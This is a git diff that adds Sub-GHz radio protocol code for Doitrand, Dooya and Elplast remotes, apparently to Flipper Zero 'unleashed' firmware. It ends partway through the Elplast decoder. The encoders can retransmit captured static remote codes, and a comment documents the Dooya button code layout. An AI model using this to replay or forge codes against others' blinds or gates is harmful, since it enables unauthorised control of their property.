diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/doitrand.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/doitrand.h
new file mode 100644
index 000000000..5dbc6678f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/doitrand.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_DOITRAND_NAME "Doitrand"
+
+typedef struct SubGhzProtocolDecoderDoitrand SubGhzProtocolDecoderDoitrand;
+typedef struct SubGhzProtocolEncoderDoitrand SubGhzProtocolEncoderDoitrand;
+
+extern const SubGhzProtocolDecoder subghz_protocol_doitrand_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_doitrand_encoder;
+extern const SubGhzProtocol subghz_protocol_doitrand;
+
+/**
+ * Allocate SubGhzProtocolEncoderDoitrand.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderDoitrand* pointer to a SubGhzProtocolEncoderDoitrand instance
+ */
+void* subghz_protocol_encoder_doitrand_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
+ */
+void subghz_protocol_encoder_doitrand_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
+ */
+void subghz_protocol_encoder_doitrand_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_doitrand_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderDoitrand.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderDoitrand* pointer to a SubGhzProtocolDecoderDoitrand instance
+ */
+void* subghz_protocol_decoder_doitrand_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ */
+void subghz_protocol_decoder_doitrand_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ */
+void subghz_protocol_decoder_doitrand_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_doitrand_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_doitrand_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_doitrand_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_doitrand_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/dooya.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/dooya.c
new file mode 100644
index 000000000..07dec5346
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/dooya.c
@@ -0,0 +1,444 @@
+#include "dooya.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolDooya"
+
+#define DOYA_SINGLE_CHANNEL 0xFF
+
+static const SubGhzBlockConst subghz_protocol_dooya_const = {
+    .te_short = 366,
+    .te_long = 733,
+    .te_delta = 120,
+    .min_count_bit_for_found = 40,
+};
+
+struct SubGhzProtocolDecoderDooya {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderDooya {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    DooyaDecoderStepReset = 0,
+    DooyaDecoderStepFoundStartBit,
+    DooyaDecoderStepSaveDuration,
+    DooyaDecoderStepCheckDuration,
+} DooyaDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_dooya_decoder = {
+    .alloc = subghz_protocol_decoder_dooya_alloc,
+    .free = subghz_protocol_decoder_dooya_free,
+
+    .feed = subghz_protocol_decoder_dooya_feed,
+    .reset = subghz_protocol_decoder_dooya_reset,
+
+    .get_hash_data = subghz_protocol_decoder_dooya_get_hash_data,
+    .serialize = subghz_protocol_decoder_dooya_serialize,
+    .deserialize = subghz_protocol_decoder_dooya_deserialize,
+    .get_string = subghz_protocol_decoder_dooya_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_dooya_encoder = {
+    .alloc = subghz_protocol_encoder_dooya_alloc,
+    .free = subghz_protocol_encoder_dooya_free,
+
+    .deserialize = subghz_protocol_encoder_dooya_deserialize,
+    .stop = subghz_protocol_encoder_dooya_stop,
+    .yield = subghz_protocol_encoder_dooya_yield,
+};
+
+const SubGhzProtocol subghz_protocol_dooya = {
+    .name = SUBGHZ_PROTOCOL_DOOYA_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_dooya_decoder,
+    .encoder = &subghz_protocol_dooya_encoder,
+};
+
+void* subghz_protocol_encoder_dooya_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderDooya* instance = malloc(sizeof(SubGhzProtocolEncoderDooya));
+
+    instance->base.protocol = &subghz_protocol_dooya;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_dooya_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDooya* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderDooya instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_dooya_get_upload(SubGhzProtocolEncoderDooya* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    if(bit_read(instance->generic.data, 0)) {
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_dooya_const.te_long * 12 +
+                subghz_protocol_dooya_const.te_long);
+    } else {
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_dooya_const.te_long * 12 +
+                subghz_protocol_dooya_const.te_short);
+    }
+
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_short * 13);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_long * 2);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_dooya_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDooya* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_dooya_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_dooya_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_dooya_stop(void* context) {
+    SubGhzProtocolEncoderDooya* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_dooya_yield(void* context) {
+    SubGhzProtocolEncoderDooya* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_dooya_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderDooya* instance = malloc(sizeof(SubGhzProtocolDecoderDooya));
+    instance->base.protocol = &subghz_protocol_dooya;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_dooya_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_dooya_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    instance->decoder.parser_step = DooyaDecoderStepReset;
+}
+
+void subghz_protocol_decoder_dooya_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case DooyaDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long * 12) <
+                        subghz_protocol_dooya_const.te_delta * 20)) {
+            instance->decoder.parser_step = DooyaDecoderStepFoundStartBit;
+        }
+        break;
+
+    case DooyaDecoderStepFoundStartBit:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long * 2) <
+               subghz_protocol_dooya_const.te_delta * 3) {
+                instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+            } else {
+                instance->decoder.parser_step = DooyaDecoderStepReset;
+            }
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_dooya_const.te_short * 13) <
+            subghz_protocol_dooya_const.te_delta * 5) {
+            break;
+        } else {
+            instance->decoder.parser_step = DooyaDecoderStepReset;
+        }
+        break;
+
+    case DooyaDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = DooyaDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = DooyaDecoderStepReset;
+        }
+        break;
+
+    case DooyaDecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= (subghz_protocol_dooya_const.te_long * 4)) {
+                //add last bit
+                if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_short) <
+                   subghz_protocol_dooya_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else if(
+                    DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_long) <
+                    subghz_protocol_dooya_const.te_delta * 2) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else {
+                    instance->decoder.parser_step = DooyaDecoderStepReset;
+                    break;
+                }
+                instance->decoder.parser_step = DooyaDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_dooya_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_short) <
+                 subghz_protocol_dooya_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long) <
+                 subghz_protocol_dooya_const.te_delta * 2)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_long) <
+                 subghz_protocol_dooya_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_dooya_const.te_short) <
+                 subghz_protocol_dooya_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = DooyaDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = DooyaDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_dooya_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+ * 																serial       s/m  ch      key   	
+ * long press down   X * E1DC030533, 40b 			111000011101110000000011 0000 0101 0011 0011
+ * 
+ * short press down  3 * E1DC030533, 40b			111000011101110000000011 0000 0101 0011 0011
+ *                   3 * E1DC03053C, 40b 	        111000011101110000000011 0000 0101 0011 1100
+ * 	
+ * press stop        X * E1DC030555, 40b			111000011101110000000011 0000 0101 0101 0101
+ * 
+ * long press up     X * E1DC030511, 40b			111000011101110000000011 0000 0101 0001 0001
+ * 
+ * short press up    3 * E1DC030511, 40b			111000011101110000000011 0000 0101 0001 0001
+ *                   3 * E1DC03051E, 40b		    111000011101110000000011 0000 0101 0001 1110
+ *
+ * serial: 3 byte serial number
+ * s/m: single (b0000) / multi (b0001) channel console  
+ * ch: channel if single (always b0101) or multi 
+ * key: 0b00010001 - long press up
+ *      0b00011110 - short press up
+ *      0b00110011 - long press down
+ *      0b00111100 - short press down
+ *      0b01010101 - press stop 
+ *      0b01111001 - press up + down
+ *      0b10000000 - press up + stop
+ *      0b10000001 - press down + stop
+ *      0b11001100 - press P2
+ *      
+*/
+
+    instance->serial = (instance->data >> 16);
+    if((instance->data >> 12) & 0x0F) {
+        instance->cnt = (instance->data >> 8) & 0x0F;
+    } else {
+        instance->cnt = DOYA_SINGLE_CHANNEL;
+    }
+    instance->btn = instance->data & 0xFF;
+}
+
+uint8_t subghz_protocol_decoder_dooya_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_dooya_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_dooya_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_dooya_const.min_count_bit_for_found);
+}
+
+/**
+ * Get button name.
+ * @param btn Button number, 8 bit
+ */
+static const char* subghz_protocol_dooya_get_name_button(uint8_t btn) {
+    const char* btn_name;
+    switch(btn) {
+    case 0b00010001:
+        btn_name = "Up_Long";
+        break;
+    case 0b00011110:
+        btn_name = "Up_Short";
+        break;
+    case 0b00110011:
+        btn_name = "Down_Long";
+        break;
+    case 0b00111100:
+        btn_name = "Down_Short";
+        break;
+    case 0b01010101:
+        btn_name = "Stop";
+        break;
+    case 0b01111001:
+        btn_name = "Up+Down";
+        break;
+    case 0b10000000:
+        btn_name = "Up+Stop";
+        break;
+    case 0b10000001:
+        btn_name = "Down+Stop";
+        break;
+    case 0b11001100:
+        btn_name = "P2";
+        break;
+    default:
+        btn_name = "Unknown";
+        break;
+    }
+    return btn_name;
+}
+
+void subghz_protocol_decoder_dooya_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+
+    subghz_protocol_dooya_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%010llX\r\n"
+        "Sn:0x%08lX\r\n"
+        "Btn:%X - %s\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        instance->generic.data,
+        instance->generic.serial,
+        instance->generic.btn,
+        subghz_protocol_dooya_get_name_button(instance->generic.btn));
+    if(instance->generic.cnt == DOYA_SINGLE_CHANNEL) {
+        furi_string_cat_printf(output, "Ch:Single\r\n");
+    } else {
+        furi_string_cat_printf(output, "Ch:%lu\r\n", instance->generic.cnt);
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/dooya.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/dooya.h
new file mode 100644
index 000000000..ffe9d41ef
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/dooya.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_DOOYA_NAME "Dooya"
+
+typedef struct SubGhzProtocolDecoderDooya SubGhzProtocolDecoderDooya;
+typedef struct SubGhzProtocolEncoderDooya SubGhzProtocolEncoderDooya;
+
+extern const SubGhzProtocolDecoder subghz_protocol_dooya_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_dooya_encoder;
+extern const SubGhzProtocol subghz_protocol_dooya;
+
+/**
+ * Allocate SubGhzProtocolEncoderDooya.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderDooya* pointer to a SubGhzProtocolEncoderDooya instance
+ */
+void* subghz_protocol_encoder_dooya_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderDooya.
+ * @param context Pointer to a SubGhzProtocolEncoderDooya instance
+ */
+void subghz_protocol_encoder_dooya_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderDooya instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_dooya_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderDooya instance
+ */
+void subghz_protocol_encoder_dooya_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderDooya instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_dooya_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderDooya.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderDooya* pointer to a SubGhzProtocolDecoderDooya instance
+ */
+void* subghz_protocol_decoder_dooya_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderDooya.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ */
+void subghz_protocol_decoder_dooya_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderDooya.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ */
+void subghz_protocol_decoder_dooya_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_dooya_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_dooya_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderDooya.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_dooya_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderDooya.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_dooya_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_dooya_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/elplast.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/elplast.c
new file mode 100644
index 000000000..ee029bfc7
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/elplast.c
@@ -0,0 +1,322 @@
+#include "elplast.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolElplast"
+
+static const SubGhzBlockConst subghz_protocol_elplast_const = {
+    .te_short = 230,
+    .te_long = 1550,
+    .te_delta = 160,
+    .min_count_bit_for_found = 18,
+};
+
+struct SubGhzProtocolDecoderElplast {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderElplast {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    ElplastDecoderStepReset = 0,
+    ElplastDecoderStepSaveDuration,
+    ElplastDecoderStepCheckDuration,
+} ElplastDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_elplast_decoder = {
+    .alloc = subghz_protocol_decoder_elplast_alloc,
+    .free = subghz_protocol_decoder_elplast_free,
+
+    .feed = subghz_protocol_decoder_elplast_feed,
+    .reset = subghz_protocol_decoder_elplast_reset,
+
+    .get_hash_data = subghz_protocol_decoder_elplast_get_hash_data,
+    .serialize = subghz_protocol_decoder_elplast_serialize,
+    .deserialize = subghz_protocol_decoder_elplast_deserialize,
+    .get_string = subghz_protocol_decoder_elplast_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_elplast_encoder = {
+    .alloc = subghz_protocol_encoder_elplast_alloc,
+    .free = subghz_protocol_encoder_elplast_free,
+
+    .deserialize = subghz_protocol_encoder_elplast_deserialize,
+    .stop = subghz_protocol_encoder_elplast_stop,
+    .yield = subghz_protocol_encoder_elplast_yield,
+};
+
+const SubGhzProtocol subghz_protocol_elplast = {
+    .name = SUBGHZ_PROTOCOL_ELPLAST_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_elplast_decoder,
+    .encoder = &subghz_protocol_elplast_encoder,
+};
+
+void* subghz_protocol_encoder_elplast_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderElplast* instance = malloc(sizeof(SubGhzProtocolEncoderElplast));
+
+    instance->base.protocol = &subghz_protocol_elplast;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 64;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_elplast_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderElplast* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderElplast instance
+ */
+static void subghz_protocol_encoder_elplast_get_upload(SubGhzProtocolEncoderElplast* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_elplast_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_elplast_const.te_long * 8);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_elplast_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_elplast_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_elplast_const.te_long * 8);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_elplast_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_elplast_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderElplast* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_elplast_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_encoder_elplast_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_elplast_stop(void* context) {
+    SubGhzProtocolEncoderElplast* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_elplast_yield(void* context) {
+    SubGhzProtocolEncoderElplast* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_elplast_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderElplast* instance = malloc(sizeof(SubGhzProtocolDecoderElplast));
+    instance->base.protocol = &subghz_protocol_elplast;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_elplast_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_elplast_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    instance->decoder.parser_step = ElplastDecoderStepReset;
+}
+
+void subghz_protocol_decoder_elplast_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
